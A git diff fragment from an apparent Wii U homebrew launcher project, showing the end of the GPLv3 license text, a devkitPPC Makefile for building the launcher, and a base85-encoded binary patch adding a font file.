modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..1cea3a7 --- /dev/null +++ b/Makefile @@ -0,0 +1,231 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := homebrew_launcher +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src \ + src/dynamic_libs \ + src/fs \ + src/game \ + src/gui \ + src/kernel \ + src/loader \ + src/menu \ + src/network \ + src/patcher \ + src/resources \ + src/settings \ + src/sounds \ + src/system \ + src/utils \ + src/video \ + src/video/shaders +DATA := data \ + data/images \ + data/fonts \ + data/sounds + +INCLUDES := src + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections + +#--------------------------------------------------------------------------------- +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := -lgcc -lgd -lpng -lz -lfreetype -lvorbisidec + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +FILELIST := $(shell bash ./filelist.sh) +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) +TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) +PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +../data/loader.bin: + $(MAKE) -C ../loader clean + $(MAKE) -C ../loader +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.jpg.o : %.jpg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.bin.o : %.bin + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.wav.o : %.wav + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.mp3.o : %.mp3 + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ogg.o : %.ogg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/data/fonts/font.ttf b/data/fonts/font.ttf new file mode 100644 index 0000000000000000000000000000000000000000..01ce58166c4c97ca7ed556833ac8ecd30a40823c GIT binary patch literal 55620 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 